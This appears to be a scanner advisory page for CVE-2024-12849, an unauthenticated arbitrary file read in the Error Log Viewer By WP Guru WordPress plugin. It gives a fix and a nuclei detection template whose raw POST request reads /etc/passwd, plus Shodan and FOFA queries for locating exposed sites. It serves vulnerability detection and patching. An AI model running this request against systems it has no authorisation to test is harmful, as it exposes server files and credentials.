Error Log Viewer By WP Guru <= 1.0.1.3 - Missing Authorization to Arbitrary File Read

highseverity

7.5CVSS score

48%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

Impact

Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with database credentials and other sensitive data.

Fix

Update Error Log Viewer By WP Guru plugin to a version newer than 1.0.1.3.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: regex('root:.*:0:0:', body) and contains(content_type, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-12849 -u <target>

The full check

id: CVE-2024-12849

info:
  name: Error Log Viewer By WP Guru <= 1.0.1.3 - Missing Authorization to Arbitrary File Read
  author: s4e-io,diedromeo
  severity: high
  description: |
    The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with database credentials and other sensitive data.
  remediation: |
    Update Error Log Viewer By WP Guru plugin to a version newer than 1.0.1.3.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-12849
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/57888e36-3a61-4452-b4ea-9db9e422dc2d?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12849
    - https://github.com/advisories/GHSA-899p-f2mf-g895
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-12849
    cwe-id: CWE-22
    epss-score: 0.48046
    epss-percentile: 0.98865
  metadata:
    verified: true
    max-request: 1
    vendor: wp-guru
    product: error-log-viewer-wp
    framework: wordpress
    shodan-query: http.html:"wp-content/plugins/error-log-viewer-wp"
    fofa-query: body="wp-content/plugins/error-log-viewer-wp"
  tags: cve,cve2024,wordpress,wp,wp-plugin,error-log-viewer-wp,lfi,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(content_type, "application/octet-stream")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from